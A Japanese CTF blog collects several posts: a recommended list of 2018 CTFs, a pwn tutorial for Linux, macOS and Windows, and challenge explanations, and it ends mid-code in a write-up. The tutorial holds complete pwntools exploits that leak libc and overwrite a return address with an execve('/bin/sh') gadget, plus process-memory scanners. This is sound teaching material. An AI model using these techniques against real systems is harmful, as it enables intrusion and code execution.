WTF!?

オンサイトCTFのWriteupとか書いてく.

どのCTFに出たらいいか分からない人のためのCTF一覧 (2018年版)

これは CTF Advent Calendar 2018 - Adventar の15日目の記事です .14日目は、@kotarou777775 プロの「CTF Reversing Challenges List Baby writeupまとめ」でした.

はじめに

Reversing Challenges Listを更新した.

2018年に開催されたCTFの中から問題をピックアップして更新したが,まだ足りていないので年明け前には2018年の分を終わらせる予定.

当初は「Reversing Challenges Listの更新」のみを記事として公開する予定だったが,この通り2行で終わってしまうので, 今回の更新の際にピックアップしたCTFをおすすめのCTF一覧として公開することとした.

タイトルと内容は2016年のCTF Advent Calendarで@nolze プロが書いた「どのCTFに出たらいいか分からない人のためのCTF年表 (2016年版)」のオマージュ.

2018年に開催されたCTFの中でオンラインで開催され,誰でも参加できて,一定のクオリティがある又はCTFの中で一定の権威を持っていると思うCTFを "主観" で選び,開催月ごとにまとめた.

1月

Insomni'hack teaser 2018

Insomni'hackというスイスのセキュリティカンファレンスと併催されるCTFのTeaser. 主催は0daysoberというヨーロッパの連合チーム. Teaserとは一般的なCTFよりも問題数が少なく,開催期間も短いCTFを指す.

2月

Codegate CTF 2018 Preliminary

CODEGATEという韓国のセキュリティカンファレンスと併催されるCTFの予選. 主催はBLACKPERL SECURITY (bpsec). 2009年から開催されている歴史のあるCTF.

3月

N1CTF 2018

Nu1Lという中国のチームが主催するCTF.

UCSB iCTF 2018

Shellphishが主催するAttack & Defence CTF. ShellphishはUCSBとASUの合同チーム.

0CTF/TCTF 2018 Quals

0opseeeが主催する0CTF/TCTF Finalsの予選. 0opsは上海交通大学,eeeはTencentのチーム.

4月

*ctf 2018

******(sixstars)が主催するCTF. ******は復旦大学のチーム.

ASIS CTF Quals 2018

ASISが主催するCTF.Qualsと付いているが,Finalsはオンラインで行われ,誰でも参加できる. ASISはイランのチーム.

5月

PlaidCTF 2018

Plaid Parliament of Pwningが主催するCTF. Plaid Parliament of PwningはCMUのチーム.

DEF CON CTF Qualifier 2018

DEF CONというアメリカのセキュリティカンファレンスと併催されるCTFの予選. 主催は今年からOrder of the Overflowになった.

6月

Google Capture The Flag 2018 (Quals)

Googleが主催するGoogle CTF Finalsの予選.

7月

Real World CTF 2018 Quals

Chaitin Techが主催するReal World CTF Finalsの予選. 他のCTFの問題とは少し毛色が異なり,現実のプロダクトの1 dayを問題として出している.

CODE BLUE CTF 2018 Quals

CODE BLUEという日本のセキュリティカンファレンスと併催されるCTFの予選. 主催はbinja, TokyoWesterns

9月

TokyoWesterns CTF 4th 2018

TokyoWesternsが主催するCTF.

CSAW CTF Qualification Round 2018

NYUのOSIRIS Labが主催するCSAW CTF 2018 Finalsの予選. Finalsへは一部の地域のチームしか参加できない.

picoCTF 2018

Plaid Parliament of Pwningが主催する初心者向けのCTF.

Teaser Dragon CTF 2018

Security PWNing Conferenceというポーランドのセキュリティカンファレンスと併催されるCTFの予選. 主催はDragon Sectorというポーランドのチーム.

10月

Hack.lu CTF 2018

hack.luというドイツのセキュリティカンファレンスと併催してオンラインでも行われるCTF. 主催はFluxFingersというルール大学ボーフムのチーム.

HITCON CTF 2018

HITCONという台湾のセキュリティカンファレンスと併催して行われるCTFの予選. 今年は運営が忙しいためにFinalsが開催されなかった.来年以降復活する可能性に期待したい. 主催は217というNTUのチームとHITCON

SECCON 2018 Online CTF

SECCONの予選. 国内決勝が存在するため,数あるFinalsのCTFの中で日本のチームにとって最も参加が容易なCTFといえる. 個人的な感覚としては1年間しっかりCTFに取り組めば国内決勝に行くことは難しくなく, 目標やモチベーションとしては丁度良い位置に存在すると思う.

11月

RuCTFE 2018

HackerDomが主催するAttack & Defence CTF. HackerDomはウラル連邦大学のチーム.

ASIS CTF Finals 2018

ASISが主催するCTF.

BCTF 2018

blue-lotusという中国のチームが主催するCTF.

12月

hxp CTF 2018

hxpというドイツのチームが主催するCTF.

35C3 CTF

CCCというドイツのセキュリティカンファレンスと併催してオンラインでも行われるCTF. 主催はEat, Sleep, Pwn, Repeatというドイツのチーム. 35C3 CTFと同時に初心者向けに35C3 Junior CTFが開催される.

まとめ

この中で年内の残りのCTFは35C3 CTFのみだが,ここに挙げた殆どのCTFは来年以降も開催されると思われるので是非参加して欲しい.

また,これの他に来年の4月に!SpamAndHexが初めて主催するSpamAndFlags teaserもチェックしておくと良いと思う.

日本のCTFチームには一部のCTFにしか参加しないチームもいるように見受けられるので, これを機に様々なCTFに参加するようになることを願っている.

明日は@graneed111プロによる「2018年のCTF全Web問の集計とピックアップ」です.

各種OSのUserlandにおけるPwn入門

これは CTF Advent Calendar 2018 - Adventar の9日目の記事です .8日目は、@hamaプロの「最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて」でした.

はじめに

CTFにおけるPwnではLinuxの問題が出題されることが多いが,一部のCTFではWindowsのPwn問題が出てきており他のOSに対しても今後出題されると予想される. そこで各種OSにおいて,AAR/AAWが可能な場合にどうやってshellを立ち上げるかを紹介する.

Target program

今回のターゲットのプログラムを以下に示す.

#include <stdio.h>
#include <stdint.h>
#ifdef __GNUC__
#include <unistd.h>
#endif

const uint8_t ADDR_STR[] = "addr : ";
const uint8_t COUNT_STR[] = "count : ";

int main() {
    uint8_t choice;
    uint64_t addr;
    size_t count;
    
    while(1){
        scanf("%c", &choice);
        if (choice == '0'){
            write(1, ADDR_STR, sizeof ADDR_STR - 1);
            scanf("%ld", &addr);
            write(1, COUNT_STR, sizeof COUNT_STR - 1);
            scanf("%zd", &count);
            read(0, (void *)addr, count);
        } else if (choice == '1') {
            write(1, ADDR_STR, sizeof ADDR_STR - 1);
            scanf("%ld", &addr);
            write(1, COUNT_STR, sizeof COUNT_STR - 1);
            scanf("%zd", &count);
            write(1, (void *)addr, count);
        } else if (choice == '2') {
            return 0;
        }
    }
}

Linux

環境

  • Ubuntu 18.04
  • x86_64
  • mitigation
    • Full RELRO
    • NX enabled
    • PIE disabled
$ gcc -no-pie ./problem.c -o ./problem

解法

単純なLinuxのpwnなのでstackを書き換えてone gadget rceを目指す.

PIEがdisabledなので,gotからscanfのaddressをleakすることで,libcのbaseを特定する.

libcにおけるscanfのoffsetは,

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -E "__isoc99_scanf"
000000000007bec0 T __isoc99_scanf

より,0x7bec0で,scanfのgotのアドレスは,

$ readelf -r ./problem | grep "scanf"
000000601030  000600000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0

より,0x601030である.

次に,one gadget rceのアドレスと条件を特定する.これにはdavid942j氏が公開しているone_gadgetというツールを用いた.

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

stackのreturn addressを書き換えるためには,libcからstackのアドレスを特定する必要がある.

そこで今回はlibcのenvironからstackのアドレスをリークし,return addressの場所を特定することとした.

$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep environ
00000000003ee098 B __environ
00000000003ee098 V _environ
00000000003ee098 V environ

gdbでプログラムを動かし,environからリークしたアドレスとreturn addressの保存場所の差を計算する.

$ gdb -q ./problem
Reading symbols from ./problem...(no debugging symbols found)...done.
gdb-peda$ start
gdb-peda$ p environ
$1 = (char **) 0x7fffffffe538
gdb-peda$ telescope 50
0000| 0x7fffffffe440 --> 0x400770 (<__libc_csu_init>:  push   r15)
0008| 0x7fffffffe448 --> 0x7ffff7a05b97 (<__libc_start_main+231>:  mov    edi,eax)
0016| 0x7fffffffe450 --> 0x1

=========== snip ============

0240| 0x7fffffffe530 --> 0x0
0248| 0x7fffffffe538 --> 0x7fffffffe784 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0256| 0x7fffffffe540 --> 0x7fffffffed70 ("SSH_CONNECTION=10.0.2.2 57980 10.0.2.15 22")
0264| 0x7fffffffe548 --> 0x7fffffffed9b ("LESSCLOSE=/usr/bin/lesspipe %s %s")
0272| 0x7fffffffe550 --> 0x7fffffffedbd ("_=/usr/bin/gdb")

=========== snip ============

よって,environ (0x7fffffffe538) - ptr_return_address (0x7fffffffe448) == 0xf0 となり,

libcからリークしたenviron - 0xf0を書き換えることでripを奪取できることがわかった.

最終的なexploitを以下に示す.

from pwn import *

# context(arch = "i386", os = "linux")
context(arch = "amd64", os = "linux")

context.log_level = 'debug'
# context.log_level = 'critical'

one_gadget_offset = 0x4f2c5
scanf_offset = 0x7bec0

scanf_got_addr = 0x601030
environ_offset = 0x3ee098

def write(addr, data):
    p.sendline('0')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(len(data)))
    p.send(data)

def read(addr, count):
    p.sendline('1')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(count))
    return p.recvn(count)

def finish():
    p.sendline('2')

# p = process("./problem")
p = remote("localhost", 12345)

scanf_got_buf = read(scanf_got_addr, 8)
scanf_addr = u64(scanf_got_buf)
libc_base_addr = scanf_addr - scanf_offset
one_gadget_addr = libc_base_addr + one_gadget_offset

libc_environ_addr = libc_base_addr + environ_offset

return_ptr_addr = u64(read(libc_environ_addr, 8)) - 0xf0
write(return_ptr_addr, p64(one_gadget_addr))

finish()

p.interactive()

p.close()

macOS

環境

  • macOS Mojave
  • x86_64
  • mitigation
    • NX enabled
    • PIE disabled
$ gcc ../problem.c -o ./problem -Wl,-no_pie

解法

Linuxと同様にsackを書き換えてone gadget rceでのshell起動を目指す.

まず,macOSにもone gadget rceが存在するのか調査した.

macOSにおいて,system, execve系の関数の実体が存在するのは,/usr/bin/nm /usr/lib/system/libsystem_c.dylibである.

この /usr/bin/nm /usr/lib/system/libsystem_c.dylib をIDAで開いて"/bin/sh"を利用し,execve系のsyscallを発行する場所が無いかxrefを辿ったところ,

以下の処理が見つかった.

__text:0000000000025D94                 lea     rdi, aBinSh     ; "/bin/sh"
__text:0000000000025D9B                 mov     rsi, r14        ; char **
__text:0000000000025D9E                 mov     rdx, [rbp+var_450] ; char **
__text:0000000000025DA5                 call    _execve

これは,r14 == NULL, [rbp - 0x450] == NULLという条件のone gadget rceである.

今回のプログラムのreturn addressを書き換えてexploitが発火するタイミングで条件を満たしているため,これを用いた.

scanfもexecveと同様にlibsystem_c.dylibに存在するため,nmコマンドを用いてoffsetを特定した.

/usr/bin/nm /usr/lib/system/libsystem_c.dylib | grep -E "T _scanf$"
0000000000042013 T _scanf

macOSにおいてgotと同様の働きをしているのは,__la_symbol_ptrである.

ここからscanfのアドレスをリークすることでlibsystem_c.dylib のベースアドレスを特定することが出来る.

$ otool -V -s __TEXT __stubs ./problem
./problem:
Contents of (__TEXT,__stubs) section
0000000100000f5a    jmpq    *0xb0(%rip) ## literal pool symbol address: _read
0000000100000f60    jmpq    *0xb2(%rip) ## literal pool symbol address: _scanf
0000000100000f66    jmpq    *0xb4(%rip) ## literal pool symbol address: _write
$ otool -s __DATA __la_symbol_ptr ./problem
./problem:
Contents of (__DATA,__la_symbol_ptr) section
0000000100001010    7c 0f 00 00 01 00 00 00 86 0f 00 00 01 00 00 00
0000000100001020    90 0f 00 00 01 00 00 00

以上から,scanfのaddressが存在するのは0x100001018である.

Linuxと同様にstackのアドレスがlibsystem_c.dylibの周辺に存在しないか検索するプログラムを書いて調査した.

// search_mem_mac.c
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>

uint64_t search_mem(task_t wow, uint64_t start, uint64_t size, uint64_t min_val, uint64_t max_val) {
    uint64_t buffer_size = 0x10000;
    uint64_t bytes_read = 0;
    uint64_t sz;
    uint8_t buffer[buffer_size];

    while (bytes_read <= size) {
        uint64_t address = start + bytes_read;
        pointer_t buffer_pointer;

        kern_return_t error = vm_read(wow, address, buffer_size, &buffer_pointer, &sz);
        memcpy(buffer, (const void *)buffer_pointer, sz);
        uint64_t buffer_position = 0;
        while (buffer_position <= buffer_size) {
            uint64_t val = *(uint64_t *)&buffer[buffer_position];
            if (min_val <= val && val <= max_val) {
                printf("0x%016llx : 0x%016llx\n", address + buffer_position, val);
            }
            buffer_position += sizeof(uint64_t);
        }
        bytes_read += buffer_size;
    }
    return 0;
}


int main(int argc, char** argv) {
    kern_return_t kern_return;
    mach_port_t task;

    if (argc < 5) {
        printf("usage : %s pid addr size min_val max_val\n", argv[0]);
        return 1;
    }

    uint64_t pid = strtoull(argv[1], NULL, 0);
    uint64_t addr = strtoull(argv[2], NULL, 0);
    uint64_t size = strtoull(argv[3], NULL, 0);
    uint64_t min_val = strtoull(argv[4], NULL, 0);
    uint64_t max_val = strtoull(argv[5], NULL, 0);

    kern_return = task_for_pid(mach_task_self(), pid, &task);
    if (kern_return != KERN_SUCCESS) {
        printf("task_for_pid() failed, error %d - %s", kern_return, mach_error_string(kern_return));
        exit(1);
    }

    unsigned int ptr = search_mem(task, addr, size, min_val, max_val);

    return 0;
}

プログラムの実行時のメモリマップは以下の通りだった.

$ vmmap problem
Process:         problem [2816]

==================== snip ====================

__TEXT                 00007fff7254e000-00007fff725d7000 [  548K   484K     0K     0K] r-x/r-x SM=COW          /usr/lib/system/libsystem_c.dylib

==================== snip ====================

==== Writable regions for process 2816
REGION TYPE                      START - END             [ VSIZE  RSDNT  DIRTY   SWAP] PRT/MAX SHRMOD PURGE    REGION DETAIL
__DATA                 0000000100001000-0000000100002000 [    4K     4K     4K     0K] rw-/rwx SM=COW          /Volumes/sd/-work/adventar/macos/problem
Kernel Alloc Once      0000000100003000-0000000100005000 [    8K     4K     4K     0K] rw-/rwx SM=PRV
MALLOC metadata        0000000100006000-0000000100007000 [    4K     4K     4K     0K] rw-/rwx SM=ZER
MALLOC metadata        0000000100008000-000000010000c000 [   16K    12K    12K     0K] rw-/rwx SM=ZER
MALLOC metadata        000000010000e000-0000000100012000 [   16K    12K    12K     0K] rw-/rwx SM=PRV
__DATA                 00000001001c0000-00000001001c5000 [   20K    20K    20K     0K] rw-/rwx SM=COW          /usr/lib/dyld
__DATA                 00000001001c5000-00000001001f9000 [  208K    32K    32K     0K] rw-/rwx SM=PRV          /usr/lib/dyld
MALLOC_TINY            0000000100300000-0000000100400000 [ 1024K    20K    20K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x100005000
MALLOC_TINY (empty)    0000000100400000-0000000100500000 [ 1024K    12K    12K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x100005000
MALLOC_SMALL           0000000100800000-0000000101800000 [ 16.0M    12K    12K     0K] rw-/rwx SM=PRV          DefaultMallocZone_0x100005000
Stack                  00007ffeef400000-00007ffeefc00000 [ 8192K    20K    20K     0K] rw-/rwx SM=PRV          thread 0
__DATA                 00007fffa4ad0000-00007fffa4ad1000 [    4K     4K     0K     0K] rw-/rwx SM=COW          /usr/lib/libSystem.B.dylib

==================== snip ====================

__DATA                 00007fffa532f000-00007fffa5336000 [   28K    28K    12K     0K] rw-/rwx SM=COW          /usr/lib/system/libxpc.dylib

libsystem_c.dylibの周辺のrwな領域において,stackのアドレスを含む場所を検索したところ,4箇所見つかった.

$ gcc search_mem_mac.c -o search_mem_mac
$ sudo ./search_mem_mac `pgrep problem` 0x00007fffa4ad0000 0x866000 0x00007ffeef400000 0x00007ffeefc00000
0x00007fffa5300cf0 : 0x00007ffeefbff888
0x00007fffa5300cf8 : 0x00007ffeefbff898
0x00007fffa5300d00 : 0x00007ffeefbff9da
0x00007fffa5312c38 : 0x00007ffeefbff898

これらがどういった変数なのか調査した.

$ lldb problem
(lldb) target create "problem"
Current executable set to 'problem' (x86_64).
(lldb) b main
Breakpoint 1: where = problem`main, address = 0x0000000100000e00
(lldb) r
(lldb) image lookup -a 0x00007fffa5300cf0
      Address: libdyld.dylib[0x0000000000032cf0] (libdyld.dylib.__DATA.__common + 16)
      Summary: libdyld.dylib`NXArgv
(lldb) image lookup -a 0x00007fffa5300cf8
      Address: libdyld.dylib[0x0000000000032cf8] (libdyld.dylib.__DATA.__common + 24)
      Summary: libdyld.dylib`environ
(lldb) image lookup -a 0x00007fffa5300d00
      Address: libdyld.dylib[0x0000000000032d00] (libdyld.dylib.__DATA.__common + 32)
      Summary: libdyld.dylib`__progname
(lldb) image lookup -a 0x00007fffa5312c38
      Address: libsystem_c.dylib[0x0000000000091c38] (libsystem_c.dylib.__DATA.__common + 96)
      Summary: libsystem_c.dylib`_saved_environ

今回はlibsystem_c.dylib_saved_environを用いた.

_saved_environのオフセットは,

0x00007fffa5312c38 - 0x00007fff7254e000 == 0x32dc4c38

より,0x32dc4c38である.

最終的なexploitを以下に示す.

from pwn import *

# context(arch = "i386", os = "linux")
context(arch = "amd64", os = "linux")

context.log_level = 'debug'
# context.log_level = 'critical'

one_gadget_offset = 0x25D94
scanf_offset = 0x42013

scanf_got_addr = 0x100001018
environ_offset = 0x32dc4c38

def write(addr, data):
    p.sendline('0')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(len(data)))
    p.send(data)

def read(addr, count):
    p.sendline('1')
    p.recvuntil('addr : ')
    p.sendline('{0:d}'.format(addr))
    p.recvuntil('count : ')
    p.sendline('{0:d}'.format(count))
    return p.recvn(count)

def finish():
    p.sendline('2')

# p = process("./problem")
p = remote("localhost", 12345)

scanf_got_buf = read(scanf_got_addr, 8)
scanf_addr = u64(scanf_got_buf)
libsystemc_base_addr = scanf_addr - scanf_offset
one_gadget_addr = libsystemc_base_addr + one_gadget_offset

libc_environ_addr = libsystemc_base_addr + environ_offset

return_ptr_addr = u64(read(libc_environ_addr, 8)) - 0x30
write(return_ptr_addr, p64(one_gadget_addr))

finish()

p.interactive()

p.close()

Windows

環境

cl.exe .\problem.c /Zi /link /dynamicbase:no

解法

stackを書き換えてropに落とし込むことを目指す.

まず既知のアドレスのメモリにdllのポインタが存在しないか調査した.

検索するプログラムを以下に示す.

// search_mem_win.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <windows.h>

void search_mem(HANDLE process, uint64_t start, uint64_t size, uint64_t min_val, uint64_t max_val) {
    uint64_t buffer_size = 0x1000;
    uint64_t bytes_read = 0;
    uint64_t sz;
    uint8_t* buffer;
    MEMORY_BASIC_INFORMATION mbi;

    while (bytes_read <= size) {
        uint64_t address = start + bytes_read;

        size_t size = VirtualQueryEx(process, (void*)address, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
     
        if (size == 0) {
            break;
        }
        
        if ((mbi.State == MEM_COMMIT) || (mbi.Type == MEM_PRIVATE) || (mbi.Protect == PAGE_READWRITE)) {
            buffer = (uint8_t *)malloc(sizeof(uint8_t) * mbi.RegionSize);
            BOOL res = ReadProcessMemory(process, (void *) address, buffer, mbi.RegionSize, NULL);
            if (res == 0){
                bytes_read += mbi.RegionSize;
                continue;
            }
            uint64_t buffer_position = 0;
            while (buffer_position <= mbi.RegionSize) {
                uint64_t val = *(uint64_t *)&buffer[buffer_position];
                if (min_val <= val && val <= max_val) {
                    printf("0x%016llx : 0x%016llx\n", address + buffer_position, val);
                }
                buffer_position += sizeof(uint64_t);
            }
        }
        bytes_read += mbi.RegionSize;
    }
}


int main(int argc, char** argv) {
    HANDLE process;

    if (argc < 5) {
        printf("usage : %s pid addr size min_val max_val\n", argv[0]);
        return 1;
    }

    uint64_t pid = strtoull(argv[1], NULL, 0);
    uint64_t addr = strtoull(argv[2], NULL, 0);
    uint64_t size = strtoull(argv[3], NULL, 0);
    uint64_t min_val = strtoull(argv[4], NULL, 0);
    uint64_t max_val = strtoull(argv[5], NULL, 0);

    process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD) pid);;
    if (process == NULL) {
        printf("OpenProcess failed");
        exit(1);
    }

    search_mem(process, addr, size, min_val, max_val);

    return 0;
}

プログラムを動作させた状態のメモリマップを以下に示す.

f:id:nanuyokakinu:20181209221131p:plain
program.exeのMemory Maps

> cl.exe search_mem_win.c
> search_mem_win.exe 4000 0x140000000 0x100000 0x7ff4fdea0000 0x7fff00000000
0x0000000140099218 : 0x00007ffe82b70000
0x0000000140099220 : 0x00007ffe82b70000
0x0000000140099f68 : 0x00007ffe82b70000
0x0000000140099f78 : 0x00007ffe82b70000
0x0000000140099f98 : 0x00007ffe82b70000
0x0000000140099fe0 : 0x00007ffe858e0000

これらはmodule_handlesとして用いられている.

.data:0000000140099218 module_handles  dq ?                    ; DATA XREF: try_get_first_available_module+30↑r
.data:0000000140099218                                         ; try_get_first_available_module+C4↑w ...
.data:0000000140099220                 dq ?
.data:0000000140099F60 module_handles_0 dq ?                   ; DATA XREF: try_get_first_available_module_0+30↑r
.data:0000000140099F60                                         ; try_get_first_available_module_0+C4↑w ...
.data:0000000140099F68                 align 100h

よって以下のメモリをリークすることでdllのベースアドレスを特定することが出来る.

0x0000000140099218 : 0x00007ffe82b70000 --- KernelBase.dll
0x0000000140099fe0 : 0x00007ffe858e0000 --- kernel32.dll

次にstackを特定するために,stackのアドレスが存在するheapのベースアドレスを特定する.

heapのアドレスが既知のアドレスのメモリに存在しないか調査した.

> search_mem.exe 4000 0x140000000 0x100000 0x450000 0x45d000
0x0000000140085880 : 0x0000000000450054
0x000000014008a820 : 0x0000000000450050
0x000000014008a930 : 0x0000000000450053
0x000000014008aa00 : 0x0000000000450053
0x0000000140098060 : 0x000000000045b4a0
0x0000000140098068 : 0x000000000045b4a0
0x0000000140098528 : 0x00000000004563a0
0x0000000140099300 : 0x000000000045a490
0x0000000140099e58 : 0x00000000004566e0
0x0000000140099e80 : 0x00000000004566e0
0x0000000140099ec0 : 0x0000000000453320
0x0000000140099ee0 : 0x00000000004535f0
0x0000000140099ef0 : 0x0000000000452602
0x000000014009a180 : 0x0000000000455190
0x000000014009a680 : 0x00000000004563a0
0x000000014009a960 : 0x0000000000450000

__acrt_heapをリークすることでheapのベースアドレスを特定することができた.

.data:000000014009A960 __acrt_heap dq 450000h                  ; DATA XREF: _calloc_base:loc_140057E0E↑r
.data:000000014009A960                                         ; select_heap↑r ...

次にheap baseからstack baseをリークすることを目指す.

heapの中にstackのアドレスを含むものが存在しないか調査した.

> search_mem.exe 4000 0x450000 0xd000 0x14a000 0x150000
0x0000000000457098 : 0x000000000014fd60
0x0000000000457118 : 0x000000000014fde0

ここで,heap baseから固定のオフセットに存在するstackのアドレスが見つからなかった.

heapからstackのアドレスとして可能性のあるものとその周辺のメモリを探索することで特定可能である.

これの他にTIBからstack baseをleakする方法も存在するが,TIBのアドレスはfsレジスタから読み込む以外に取得する方法が存在しないため,今回のtargetでは難しい.

特定したstackを書き換え,ROPに持ち込んでkernel.dllのWinExec関数を呼び出せば任意のプログラムが実行できる.

実際のexploitは時間がないため読者の課題とする.

まとめ

  • macOSはほぼLinuxと同様に解くことが出来る.
  • Windowsは意外とstackのアドレスをリークするのが難しいことが分かった.

時間に余裕があれば他のOSについても解いて記事を更新する所存です.

次回のCTF Advent Calendarは12/12の,@xrekkusuプロによる「WebAssembly解いてみる」です.

年賀状CTF 2017(お年玉付き)

新年あけましておめでとうございます.

新年といえば年賀状.年賀状といえば年賀状CTF.

ということで今年もお年玉付き年賀状CTFを開催します!

お年玉の金額は

0x1337円(4919円)です!

ルール

  • ステージ1〜ステージ3の合計3問です.

  • 途中点などはありません.

  • ステージ1, ステージ2のフラグフォーマットはNYC{.*}です.

  • ステージ3のフラグがAmazonギフト券のコードなので,一番早く解いた人のみが受け取れるようになっています.

  • ギフト券獲得者は @_N4NU_ 宛にDM又はリプを送ってください.

  • 質問がある場合も @_N4NU_ 宛にDM又はリプを送ってください.

  • Write upなど解法の公開は大歓迎です.

問題

www.dropbox.com

First blood

murachueさん (2017/1/2 3:20)

おめでとうございます!

また,お年玉は若手の方に使って欲しいというご本人の意向でまだ残っています!

他の参加者の方々は是非お年玉獲得を目指してがんばってください!

[追記]

お年玉はakiymさんが獲得しました!おめでとうございます!

TWCTFで作問したやつの解説のようなもの

TWCTFで作問したやつの解説のようなものです.

github.com

の公開に合わせて投稿しました.

解けなかった方はこれとGitHubのsolverを参考にして解いていただけたら嬉しいです.

あと今のところUnpackGoとSteganographerのWriteupが見つかっていないので見つけた若しくは書いたという方が居らっしゃいましたら教えていただけると嬉しいです.

解いたチームが多い順に解説していきます.

ReverseBox (Reversing, Warmup 50)

$ ./reverse_box ${FLAG}
95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
reverse_box.7z

Solved: 148 teams

解説のようなもの

Warmupの中ではdeadnasに次いで2番目に解けた人が少なかったです.

こんな感じで,作り始めるまで一番時間がかかり,

作り始めて完成するまでは一番早かった問題です.

ツイートにも書いてあるように中身はランダムに初期値(?)を選択した

AES(Rijndael)のS-BOX(と言っていいのか分からない変な変換テーブル)です.

シードにあたるものが256通りしか無いのでどうにでもなるでしょう.

煮るなり焼くなり好きにしてあげてください.

Cocktail (Misc 200pts)

Is the order a cocktail??
cocktail.7z

Solved: 27 teams

解説のようなm(ry

自分が作った問題の中で唯一Reversingではないものです.

9人の声とホワイトノイズを異なる比率で混ぜた音源が10個用意されていて,

フラグが読み上げられていくのでどうにかして聞き取ってねという問題です.

これは最初作ったときはホワイトノイズが乗っておらず人の声も5つしかありませんでした.

検証してもらったら素でも4人まで聞き取れたらしかったので,声の数を増やしてホワイトノイズを乗っけることで対処しました.

この問題のモデルとしては人混みの中で盗聴するにはどうすればいいかな的なものを想定しながら作っていました.

作り方が適当だったのでホワイトノイズの大きさから音量の比率を定めた(ランダムに生成された)行列の逆行列を求めるという解き方が生まれてしまいました.

個人的にこの解き方は面白かったので良いと思っています.

この解き方をしたチームが殆どで,想定解法で解いたチームは居なさそうという気はしています.

想定解法のヒントとしては

  • 混ざった音源が混ざる前の音源の数だけ存在する
  • カクテルパーティ

といったところでしょうか.

まあリスニングの練習にでも使ってやってください.

Cello Rule (Reversing 250pts)

cello_rule.7z

Solved: 12 teams

解説のようn(ry

いきなりSolvedが減りましたね.

日本のチームではkatagaitaiのbataさんとdodododoのakiymさんが解いて下さいました. 本当に有難うございます.

作る経緯としては↓こんな感じです.

Celloっていう頭おかしいライブラリ(変数をvarで宣言したりforeachが使えたり簡易GCが実装されてたり)があって,

色々作ってバイナリで見てみると結構面白かったのでこれでrev問作りたいなっていうところから始まりました.

あとセル・オートマトンを絡めた何かも作りたいと思っていたので,

この二つをくっつけた結果,あのよくわからないバイナリが出来上がりました.

解くときは,セル・オートマトン使った乱数生成あたりを調べたら参考になると思います.

UnpackGo (Reversing 350pts)

unpack_go.7z

Solved: 3 teams

解s(ry

更にSolvedが減りました.

解いたのは毎度お馴染みPPPとangrで解いたのかもしれない(無いな)Shellphishとルーマニアキチガイ集団PwnThyBytesです.

これは名前からも分かるようにunpack meとgolang問をくっつけた問題です.

動機としてはgolangGUIのプログラム作りたかったというだけです.

綺麗にunpackさえ出来ればシンボルが残ってるgolang問なので比較的解きやすいほうかな(Solvedが10チームぐらい出る)と思っていたのですが,意外と解かれませんでした.

Goという文字が忌避を誘ってしまったのかもしれないですね.

解く為のヒントとしては

  • パッカーはUPXを少しだけ書き換えたもの
  • アンパックしたら処理を2つ取り除くだけでフラグが得られる

と言ったところです.

シンボル情報を参考にしながらできるだけ読み飛ばせれば解けると思います.

解けた時のインパクトは良い問題なので解けたら楽しいかも.

Steganographer (Reversing 400pts)

steganographer.7z

Solved: 2 teams

k(ry

解いたチームは案の定のPPPと台湾の変態集団217です.

作問した中で一番のお気に入りの問題です.

これは素のcのプログラムをコンパイルしてるだけ(最適化はかかっています)なのでCello RuleとUnpackGoに比べたら解析はやりやすいと思います.

使われている技術としては電子透かしとかでよく使われているやつです.

これが解ければksnの人間問題も解けるかも(?)

これだけヒント出せば後は気合で解けるでしょう.

(個人的には)とても面白い問題なので是非解いて下さい.

まとめ

TWCTFに参加して下さった皆様本当にありがとうございます!!!

今回のTWCTFのvotingのレートが良いのはインフラが安定していたことや良質なCrypto問などのおかげであって,自分の問題は評価に繋げられていないと思っています.

次回開けたらもっと良い問題を出してTWCTF全体の評価に繋げられるよう,

今のうちにコツコツと作問していく所存です.

年賀状CTF(お年玉付き)解説

年賀状CTFの解説をしていこうと思います.

Write upはBono(@Bono_iPad)さんが書いてくださっているので,

想定解を問題のソースなどを交えて紹介していきます.

BonoさんのWrite up

年賀状CTF2016 (by @_N4NU_) writeup by Bono-iPad

問題

年賀状CTF(お年玉付き) - WTF!?

Stage1

ジャンルとしては Forensic + Reversing ( + Steganography ) ですかね.

年賀状の画像が渡されるところから始まります.

fileコマンドを叩くと

$ file wc16g_tf_0003.png
wc16g_tf_0003.png: PNG image data, 1748 x 1181, 8-bit/color RGBA, non-interlaced

binwalkで叩くと

$ binwalk wc16g_tf_0003.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1748 x 1181, 8-bit/color RGBA, non-interlaced
54            0x36            Zlib compressed data, default compression
2662          0xA66           Zlib compressed data, default compression
3402577       0x33EB51        gzip compressed data, from Unix, last modified: 2015-12-31 14:26:13

何か後ろにくっついてますね.

gzipで展開するとtarであることが分かるのでtarで展開すると,stage1というフォルダが現れました.

$ ls stage1
stage1.pyc  stage2.tar.gz.gpg

stage1.pycの元のコードは

#!/usr/bin/env python2
import sys
from os.path import getsize, basename
